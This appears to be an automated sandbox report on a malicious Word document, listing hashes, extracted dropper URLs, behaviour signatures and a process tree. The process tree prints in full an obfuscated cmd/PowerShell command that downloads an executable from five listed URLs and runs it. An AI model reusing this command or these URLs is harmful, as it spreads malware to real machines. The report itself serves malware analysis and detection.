Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    26-05-2024 00:40

General

  • Target

    73c835431f1e6b7fa5df4844177dbb2a_JaffaCakes118.doc

  • Size

    201KB

  • MD5

    73c835431f1e6b7fa5df4844177dbb2a

  • SHA1

    9aa543f6d527fffcec26697d00570b77c9589e45

  • SHA256

    fba9ba4112dacc745d951a00f20c1e967bf78cbb318e947d695f08c42fb588c2

  • SHA512

    accb6a4505ee7c224c9c8245d0afbef846fbf718d00725e506f988a921d1b8a5e8c363a141694f8d22244b982e4fe5d93d96f98620584e4fbac353e4cdc7b69b

  • SSDEEP

    3072:f6W0a6xqvY3aODnPofS1eNVvv5ui9tMaRbe8OxM6Yy8DdAlzVH:gaGaODPgS1cvv5ntXwrGhW7H

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.wingateave.com.au/jhBB/

exe.dropper

http://www.moviemeetsmedia.de/pgVW4vy/

exe.dropper

http://www.lucropc.com/OM0KDO/

exe.dropper

http://www.motoclubfojeteiros.com/wp-content/aeHwbX/

exe.dropper

http://www.willardwiganmbe.com/mOAp08/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 12 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\73c835431f1e6b7fa5df4844177dbb2a_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2264
    • C:\Windows\SysWOW64\cmd.exe
      cmd hiouhOI jido fhoiwehipwmdklqwn whqoijpdwdp & %C^om^S^p^Ec% /V /c set %NkzNwuTcqKjUhrC%=jAfaiVS&&set %tJXhkWiwiahMJ%=o^we^r^s&&set %biVlhbQFkIntwrv%=jiWYtXtbwzhKof&&set %jimhTjPzGjKd%=p&&set %izsRWicImAaFzLu%=wFLnFvwMwZDptok&&set %AoAEflDwjt%=^he^l^l&&set %uGRFanBfVRRbsVw%=oYijwrVWijmmvsT&&!%jimhTjPzGjKd%!!%tJXhkWiwiahMJ%!!%AoAEflDwjt%! " ('((zZB (zZB+zZB(Pd0Do8franPd0+Pd0czZB+zZB = new-Pd0+'+'PdzZB+zZB0oPd0+Pd0bjPdzZB+zZB0+Pd0ect SzZB+zZByst'+'em.Net.WPd0+Pd0ebClientPd0+Pd0;Do8nsPd0+Pd0adasd =P'+'d0+Pd0 Pd0+Pd0nPd0+Pd0ew-object randPd0+Pd0ozZB+zZBm;Pd0+Pd0zZB+zZBDo8bcd Pd0+Pd0= 2eQhttpzZB+zZB://Pd0+Pd0wPd0+Pd0ww.wPd0+Pd0iPd0+P'+'dzZB+zZB0ngat'+'eavePd0+Pd0.comPd0+Pd0.aPd0+Pd0uPd0+Pd0/jhBB/,http:/zZB+zZB/wwPd0+Pd0w.moviemeetsmedia.Pd0+Pd0dPd0+Pd0e/pgPzZB+zZBd0+Pd0'+'VW4'+'vPd0+Pd0y/,Pd0+Pd0ht'+'tpPd0+'+'Pd0://www.Pd0+Pd0lPd0+zZB+zZBPd0ucropcPd0+Pd0.com/OPd0+Pd0MPd'+'0+Pd00Pd0+Pd0KPd0+Pd0DO/Pd0+Pd0,httPzZB+zZBd0+Pd0p://wwwPd0+Pd0.motPd0'+'+Pd0oclubfojeteiPd0+Pd0rPd0+Pd0os.czZB+zZBom/wPd0+Pd0zZB+zZ'+'Bp-czZB+zZBonteP'+'d0+Pd0nt/aeHwbX/,http://wwPd0+Pd0w.wPd0+Pd'+'0iPzZB+zZBd0+Pd0zZB+zZBllarPd0+Pd0dzZB+zZBwiganmb'+'Pd0+Pd0e.com/'+'Pd0'+'+Pd0mOAp08/Pd0+Pd02eQ.SplPd0+Pd0it(2zZB+zZBeQ,2eQ);Pd0+Pd0DzZB+zZBo8karapas = z'+'ZB+zZBDo8nsaPd0zZB+zZB+Pd0dasd.next(zZB+zZB1zZB+zZB,Pd0+Pd0 3432Pd0+'+'Pd04Pd0+Pd05);Pd0+Pd0DPd0+Pd'+'0oPd0+Pd08huas = Do8env'+'Pd0zZB+zZB+P'+'d0:pPzZB+zZBd0+Pd0ublPd0+Pd0icPd0+Pd0 + PdzZB+zZB0+Pd02eQ'+'prt2eQPd0+Pd0 + Do8zZB+zZBkPd0+Pd0azZB+z'+'ZBPd0+Pd0raPd0+Pd0pP'+'dzZB+zZB0+Pd0as + 2eQ.exePd0+Pd0'+'zZB+zZB2Pd0+PdzZB+zZB0eQ;fo'+'reacPd0+Pd0h(Do8abzZB+zZBc Pd0+Pd0in Do8Pd0+Pd0bPd0+Pd0cd){t'+'Pd0+Pd0ry{Do8Pd0zZB+zZB+Pd0fraPd0+PzZB+zZBd0nc.DoPd0+Pd0wnPd0+Pd0loPd0+Pd0ad'+'FiPd0+Pd0lePd0+PdzZB+zZB0(Do8abc.ToStrPd0+Pd0ing(Pd0+Pd0), DPd0+Pd0o8Pd0+'+'Pd0huas);InvoPd0+Pd0ke-ItemPd0+Pd0(Do8huPd0+Pd0as)Pd0'+'+Pd0;break;}Pd0+Pd0catcPd0+Pd0hP'+'d0+Pd0{wrzZB+zZBite-hoPd0+Pd0st Pd0+Pd0DPd0+Pd0o8_.ExcepzZB+zZBtioPd0+Pd0n.MessagePd0+Pd0;Pd0+Pd0}}Pd0) -ReplacePd02eQPd0,[cHAr]39 zZB+zZB -Replace Pd0Do8Pd0,[cHAr]36 -Replace([cH'+'Ar]112+[cHAr]114+[cHAr]116zZB+zZB),['+'cHAr]92) iOb&( s'+'d4pSHomE[21zZB+zZB]+sd4pshomE[34]+Pd0XPd0)zZB)-cREPLAce zZBPd0zZB,[Char]39'+' '+'-cREPLAcezZBiObzZB,[Char]124-repLACE zZBsd4zZB,[Char]36) aTJ. ( FlgsHElLiD[1]+FlgShELlID[13]+zZBXzZB)').RepLACe(([chAr]97+[chAr]84+[chAr]74),[stRING][chAr]124).RepLACe(([chAr]70+[chAr]108+[chAr]103),'$').RepLACe(([chAr]122+[chAr]90+[chAr]66),[stRING][chAr]39)| &( $env:COmsPEC[4,24,25]-join'')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell " ('((zZB (zZB+zZB(Pd0Do8franPd0+Pd0czZB+zZB = new-Pd0+'+'PdzZB+zZB0oPd0+Pd0bjPdzZB+zZB0+Pd0ect SzZB+zZByst'+'em.Net.WPd0+Pd0ebClientPd0+Pd0;Do8nsPd0+Pd0adasd =P'+'d0+Pd0 Pd0+Pd0nPd0+Pd0ew-object randPd0+Pd0ozZB+zZBm;Pd0+Pd0zZB+zZBDo8bcd Pd0+Pd0= 2eQhttpzZB+zZB://Pd0+Pd0wPd0+Pd0ww.wPd0+Pd0iPd0+P'+'dzZB+zZB0ngat'+'eavePd0+Pd0.comPd0+Pd0.aPd0+Pd0uPd0+Pd0/jhBB/,http:/zZB+zZB/wwPd0+Pd0w.moviemeetsmedia.Pd0+Pd0dPd0+Pd0e/pgPzZB+zZBd0+Pd0'+'VW4'+'vPd0+Pd0y/,Pd0+Pd0ht'+'tpPd0+'+'Pd0://www.Pd0+Pd0lPd0+zZB+zZBPd0ucropcPd0+Pd0.com/OPd0+Pd0MPd'+'0+Pd00Pd0+Pd0KPd0+Pd0DO/Pd0+Pd0,httPzZB+zZBd0+Pd0p://wwwPd0+Pd0.motPd0'+'+Pd0oclubfojeteiPd0+Pd0rPd0+Pd0os.czZB+zZBom/wPd0+Pd0zZB+zZ'+'Bp-czZB+zZBonteP'+'d0+Pd0nt/aeHwbX/,http://wwPd0+Pd0w.wPd0+Pd'+'0iPzZB+zZBd0+Pd0zZB+zZBllarPd0+Pd0dzZB+zZBwiganmb'+'Pd0+Pd0e.com/'+'Pd0'+'+Pd0mOAp08/Pd0+Pd02eQ.SplPd0+Pd0it(2zZB+zZBeQ,2eQ);Pd0+Pd0DzZB+zZBo8karapas = z'+'ZB+zZBDo8nsaPd0zZB+zZB+Pd0dasd.next(zZB+zZB1zZB+zZB,Pd0+Pd0 3432Pd0+'+'Pd04Pd0+Pd05);Pd0+Pd0DPd0+Pd'+'0oPd0+Pd08huas = Do8env'+'Pd0zZB+zZB+P'+'d0:pPzZB+zZBd0+Pd0ublPd0+Pd0icPd0+Pd0 + PdzZB+zZB0+Pd02eQ'+'prt2eQPd0+Pd0 + Do8zZB+zZBkPd0+Pd0azZB+z'+'ZBPd0+Pd0raPd0+Pd0pP'+'dzZB+zZB0+Pd0as + 2eQ.exePd0+Pd0'+'zZB+zZB2Pd0+PdzZB+zZB0eQ;fo'+'reacPd0+Pd0h(Do8abzZB+zZBc Pd0+Pd0in Do8Pd0+Pd0bPd0+Pd0cd){t'+'Pd0+Pd0ry{Do8Pd0zZB+zZB+Pd0fraPd0+PzZB+zZBd0nc.DoPd0+Pd0wnPd0+Pd0loPd0+Pd0ad'+'FiPd0+Pd0lePd0+PdzZB+zZB0(Do8abc.ToStrPd0+Pd0ing(Pd0+Pd0), DPd0+Pd0o8Pd0+'+'Pd0huas);InvoPd0+Pd0ke-ItemPd0+Pd0(Do8huPd0+Pd0as)Pd0'+'+Pd0;break;}Pd0+Pd0catcPd0+Pd0hP'+'d0+Pd0{wrzZB+zZBite-hoPd0+Pd0st Pd0+Pd0DPd0+Pd0o8_.ExcepzZB+zZBtioPd0+Pd0n.MessagePd0+Pd0;Pd0+Pd0}}Pd0) -ReplacePd02eQPd0,[cHAr]39 zZB+zZB -Replace Pd0Do8Pd0,[cHAr]36 -Replace([cH'+'Ar]112+[cHAr]114+[cHAr]116zZB+zZB),['+'cHAr]92) iOb&( s'+'d4pSHomE[21zZB+zZB]+sd4pshomE[34]+Pd0XPd0)zZB)-cREPLAce zZBPd0zZB,[Char]39'+' '+'-cREPLAcezZBiObzZB,[Char]124-repLACE zZBsd4zZB,[Char]36) aTJ. ( FlgsHElLiD[1]+FlgShELlID[13]+zZBXzZB)').RepLACe(([chAr]97+[chAr]84+[chAr]74),[stRING][chAr]124).RepLACe(([chAr]70+[chAr]108+[chAr]103),'$').RepLACe(([chAr]122+[chAr]90+[chAr]66),[stRING][chAr]39)| &( $env:COmsPEC[4,24,25]-join'')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2764
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2792

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      facb7869d22c468af3f91a9a357ca85c

      SHA1

      f811bd385442b8d3bf9264d393cdcac139d431ed

      SHA256

      62083e261ed2231fae933c6942cf3bb8815e9327765633cb5134984d8f1cf395

      SHA512

      2c0017349fdf7c64ae9043869f1dad04caf76c5e0908f9a49697737b47a89cf092f68d62a4192a82d8506055e711a9784766af235985592d6507d017efc3aa16

    • memory/2264-0-0x0000000076F40000-0x00000000770E9000-memory.dmp

      Filesize

      1.7MB

    • memory/2264-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2264-8-0x0000000000790000-0x0000000000890000-memory.dmp

      Filesize

      1024KB

    • memory/2264-12-0x0000000076F40000-0x00000000770E9000-memory.dmp

      Filesize

      1.7MB

    • memory/2264-9-0x0000000000790000-0x0000000000890000-memory.dmp

      Filesize

      1024KB

    • memory/2264-10-0x0000000000790000-0x0000000000890000-memory.dmp

      Filesize

      1024KB

    • memory/2264-17-0x0000000000790000-0x0000000000890000-memory.dmp

      Filesize

      1024KB

    • memory/2264-15-0x0000000000790000-0x0000000000890000-memory.dmp

      Filesize

      1024KB

    • memory/2264-11-0x0000000000790000-0x0000000000890000-memory.dmp

      Filesize

      1024KB

    • memory/2264-46-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB